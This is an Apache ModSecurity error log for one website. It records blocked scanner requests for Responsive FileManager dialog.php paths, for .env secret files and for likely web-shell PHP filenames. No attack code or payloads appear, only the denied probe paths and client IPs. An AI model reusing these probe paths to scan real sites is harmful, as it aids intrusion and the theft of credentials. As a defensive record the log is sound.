[Mon May 25 06:24:37.185641 2026] [:error] [pid 9302:tid 9314] [client 170.64.221.168:51384] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/scripts/filemanager/dialog.php"] [unique_id "ahN6pS1RaFfTSnDQnqFRbwAAAAc"]
[Mon May 25 06:24:37.197528 2026] [:error] [pid 21606:tid 21609] [client 170.64.221.168:51402] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/media/filemanager/dialog.php"] [unique_id "ahN6pWswdp0RYkH5t9XArwAAAUE"]
[Mon May 25 06:24:37.199692 2026] [:error] [pid 21606:tid 21630] [client 170.64.221.168:51410] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/js/fileManager/filemanager/dialog.php"] [unique_id "ahN6pWswdp0RYkH5t9XAsAAAAVY"]
[Mon May 25 06:24:37.200561 2026] [:error] [pid 21606:tid 21623] [client 170.64.221.168:51422] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/js/libraries/filemanager/dialog.php"] [unique_id "ahN6pWswdp0RYkH5t9XAsQAAAU8"]
[Mon May 25 06:24:37.213500 2026] [:error] [pid 9304:tid 9374] [client 170.64.221.168:51544] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/resources/plugins/tiny_mce/plugins/filemanager/dialog.php"] [unique_id "ahN6peVEV2qpMC_1UzR_KwAAAI0"]
[Mon May 25 06:24:37.218896 2026] [:error] [pid 21606:tid 21625] [client 170.64.221.168:51540] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cms/tinymce/filemanager/filemanager/dialog.php"] [unique_id "ahN6pWswdp0RYkH5t9XAswAAAVE"]
[Mon May 25 06:24:37.218978 2026] [:error] [pid 9302:tid 9331] [client 170.64.221.168:51494] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/admin/js/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahN6pS1RaFfTSnDQnqFRcAAAABg"]
[Mon May 25 06:24:37.225279 2026] [:error] [pid 9302:tid 9318] [client 170.64.221.168:51442] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/filemanager/dialog.php"] [unique_id "ahN6pS1RaFfTSnDQnqFRcgAAAAs"]
[Mon May 25 06:24:37.229639 2026] [:error] [pid 21606:tid 21624] [client 170.64.221.168:51558] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/filemanager/filemanager/dialog.php"] [unique_id "ahN6pWswdp0RYkH5t9XAtgAAAVA"]
[Mon May 25 06:24:37.275909 2026] [:error] [pid 50423:tid 50437] [client 170.64.221.168:51674] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/media/filemanager/dialog.php"] [unique_id "ahN6paJWO7En4nKEQ3gvzwAAAQw"]
[Mon May 25 06:24:37.277647 2026] [:error] [pid 50423:tid 50429] [client 170.64.221.168:51682] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/js/fileManager/filemanager/dialog.php"] [unique_id "ahN6paJWO7En4nKEQ3gv0AAAAQQ"]
[Mon May 25 06:24:37.286538 2026] [:error] [pid 50423:tid 50449] [client 170.64.221.168:51704] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/scripts/filemanager/dialog.php"] [unique_id "ahN6paJWO7En4nKEQ3gv0gAAARg"]
[Mon May 25 06:24:37.302288 2026] [:error] [pid 9304:tid 9365] [client 170.64.221.168:51754] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/resources/plugins/tiny_mce/plugins/filemanager/dialog.php"] [unique_id "ahN6peVEV2qpMC_1UzR_LAAAAIQ"]
[Mon May 25 06:24:37.310075 2026] [:error] [pid 50423:tid 50440] [client 170.64.221.168:51782] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cms/tinymce/filemanager/filemanager/dialog.php"] [unique_id "ahN6paJWO7En4nKEQ3gv2QAAAQ8"]
[Mon May 25 06:24:37.319085 2026] [:error] [pid 21606:tid 21627] [client 170.64.221.168:51826] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/filemanager/dialog.php"] [unique_id "ahN6pWswdp0RYkH5t9XAuwAAAVM"]
[Mon May 25 06:24:37.320563 2026] [:error] [pid 50423:tid 50441] [client 170.64.221.168:51834] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/resources/js/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahN6paJWO7En4nKEQ3gv3gAAARA"]
[Mon May 25 06:24:37.341422 2026] [:error] [pid 50423:tid 50429] [client 170.64.221.168:51914] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib/filemanager/dialog.php"] [unique_id "ahN6paJWO7En4nKEQ3gv5gAAAQQ"]
[Mon May 25 06:24:37.363212 2026] [:error] [pid 21606:tid 21615] [client 170.64.221.168:51950] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahN6pWswdp0RYkH5t9XAvwAAAUc"]
[Mon May 25 06:24:37.388904 2026] [:error] [pid 9304:tid 9369] [client 170.64.221.168:52024] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/resources/plugins/tiny_mce/plugins/filemanager/dialog.php"] [unique_id "ahN6peVEV2qpMC_1UzR_MAAAAIg"]
[Mon May 25 06:24:37.396507 2026] [:error] [pid 50423:tid 50444] [client 170.64.221.168:52034] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/events/lib/external/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahN6paJWO7En4nKEQ3gv6gAAARM"]
[Mon May 25 06:24:37.406830 2026] [:error] [pid 50423:tid 50440] [client 170.64.221.168:52108] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/resources/js/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahN6paJWO7En4nKEQ3gv8AAAAQ8"]
[Mon May 25 06:24:37.421510 2026] [:error] [pid 50423:tid 50434] [client 170.64.221.168:52140] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/editor/filemanager/dialog.php"] [unique_id "ahN6paJWO7En4nKEQ3gv8QAAAQk"]
[Mon May 25 06:24:37.425057 2026] [:error] [pid 9398:tid 9421] [client 170.64.221.168:52164] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib/filemanager/dialog.php"] [unique_id "ahN6pehIu7KstzsCua-pagAAANE"]
[Mon May 25 06:24:37.435834 2026] [:error] [pid 9304:tid 9366] [client 170.64.221.168:52192] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahN6peVEV2qpMC_1UzR_NAAAAIU"]
[Mon May 25 06:24:37.448498 2026] [:error] [pid 9304:tid 9361] [client 170.64.221.168:52238] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahN6peVEV2qpMC_1UzR_OQAAAIA"]
[Mon May 25 06:24:37.484537 2026] [:error] [pid 9304:tid 9365] [client 170.64.221.168:52364] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/events/lib/external/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahN6peVEV2qpMC_1UzR_RAAAAIQ"]
[Mon May 25 06:24:37.499593 2026] [:error] [pid 9304:tid 9369] [client 170.64.221.168:52414] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/resources/js/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahN6peVEV2qpMC_1UzR_SQAAAIg"]
[Mon May 25 06:24:37.513080 2026] [:error] [pid 9304:tid 9380] [client 170.64.221.168:52450] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/editor/filemanager/dialog.php"] [unique_id "ahN6peVEV2qpMC_1UzR_TAAAAJM"]
[Mon May 25 06:24:37.515475 2026] [:error] [pid 9304:tid 9381] [client 170.64.221.168:52466] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib/filemanager/dialog.php"] [unique_id "ahN6peVEV2qpMC_1UzR_TgAAAJQ"]
[Mon May 25 06:24:37.526997 2026] [:error] [pid 9304:tid 9367] [client 170.64.221.168:52510] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahN6peVEV2qpMC_1UzR_UwAAAIY"]
[Mon May 25 06:24:37.539904 2026] [:error] [pid 9304:tid 9377] [client 170.64.221.168:52558] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahN6peVEV2qpMC_1UzR_VQAAAJA"]
[Mon May 25 06:24:37.568736 2026] [:error] [pid 9304:tid 9379] [client 170.64.221.168:52624] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/events/lib/external/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahN6peVEV2qpMC_1UzR_YAAAAJI"]
[Mon May 25 06:24:37.591073 2026] [:error] [pid 9304:tid 9381] [client 170.64.221.168:52668] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/editor/filemanager/dialog.php"] [unique_id "ahN6peVEV2qpMC_1UzR_ZwAAAJQ"]
[Mon May 25 06:24:37.599718 2026] [:error] [pid 9304:tid 9361] [client 170.64.221.168:52704] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahN6peVEV2qpMC_1UzR_awAAAIA"]
[Mon May 25 06:24:37.715617 2026] [:error] [pid 9303:tid 9346] [client 170.64.221.168:53102] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahN6pX3bQScbssitjPQ3-gAAAEw"]
[Mon May 25 06:24:37.720042 2026] [:error] [pid 50423:tid 50431] [client 170.64.221.168:53120] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cms/vendor/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahN6paJWO7En4nKEQ3gv-AAAAQY"]
[Mon May 25 06:24:37.765658 2026] [:error] [pid 9304:tid 9375] [client 170.64.221.168:53244] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/arquivos/javascript/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahN6peVEV2qpMC_1UzR_jgAAAI4"]
[Mon May 25 06:24:37.769116 2026] [:error] [pid 9304:tid 9362] [client 170.64.221.168:53270] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahN6peVEV2qpMC_1UzR_kAAAAIE"]
[Mon May 25 06:24:37.770273 2026] [:error] [pid 9304:tid 9379] [client 170.64.221.168:53282] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahN6peVEV2qpMC_1UzR_kQAAAJI"]
[Mon May 25 06:24:37.774130 2026] [:error] [pid 9304:tid 9369] [client 170.64.221.168:53304] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cms/vendor/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahN6peVEV2qpMC_1UzR_kwAAAIg"]
[Mon May 25 06:24:37.809416 2026] [:error] [pid 9304:tid 9381] [client 170.64.221.168:53384] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/arquivos/javascript/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahN6peVEV2qpMC_1UzR_mAAAAJQ"]
[Mon May 25 06:24:37.812844 2026] [:error] [pid 9304:tid 9363] [client 170.64.221.168:53398] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahN6peVEV2qpMC_1UzR_mQAAAII"]
[Mon May 25 06:24:37.815115 2026] [:error] [pid 9304:tid 9368] [client 170.64.221.168:53410] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahN6peVEV2qpMC_1UzR_mwAAAIc"]
[Mon May 25 06:24:37.818925 2026] [:error] [pid 9304:tid 9367] [client 170.64.221.168:53454] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cms/vendor/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahN6peVEV2qpMC_1UzR_ngAAAIY"]
[Mon May 25 06:24:37.851261 2026] [:error] [pid 9304:tid 9376] [client 170.64.221.168:53496] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/arquivos/javascript/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahN6peVEV2qpMC_1UzR_owAAAI8"]
[Mon May 25 06:24:37.856390 2026] [:error] [pid 9304:tid 9370] [client 170.64.221.168:53506] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahN6peVEV2qpMC_1UzR_pAAAAIk"]
[Mon May 25 06:57:24.881198 2026] [:error] [pid 9302:tid 9320] [client 34.56.62.173:44726] [client 34.56.62.173] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "ahOCVC1RaFfTSnDQnqFYqQAAAA0"]
[Mon May 25 06:57:25.674375 2026] [:error] [pid 50423:tid 50431] [client 34.56.62.173:38440] [client 34.56.62.173] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.production"] [unique_id "ahOCVaJWO7En4nKEQ3g7PgAAAQY"]
[Mon May 25 06:57:26.881899 2026] [:error] [pid 21606:tid 21613] [client 34.56.62.173:42296] [client 34.56.62.173] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "ahOCVmswdp0RYkH5t9XG1AAAAUU"]
[Mon May 25 07:09:25.315095 2026] [:error] [pid 9303:tid 9350] [client 104.28.214.122:20419] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/ms-themes.php"] [unique_id "ahOFJX3bQScbssitjPRD9wAAAFA"]
[Mon May 25 07:09:25.770285 2026] [:error] [pid 9304:tid 9361] [client 104.28.214.122:20006] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "ahOFJeVEV2qpMC_1UzSWHgAAAIA"]
[Mon May 25 07:09:26.218323 2026] [:error] [pid 9398:tid 9400] [client 104.28.214.122:20070] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/file.php"] [unique_id "ahOFJuhIu7KstzsCua-3VgAAAMA"]
[Mon May 25 07:09:29.680262 2026] [:error] [pid 9302:tid 9323] [client 104.28.214.122:20289] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/flower.php"] [unique_id "ahOFKS1RaFfTSnDQnqFbyQAAABA"]
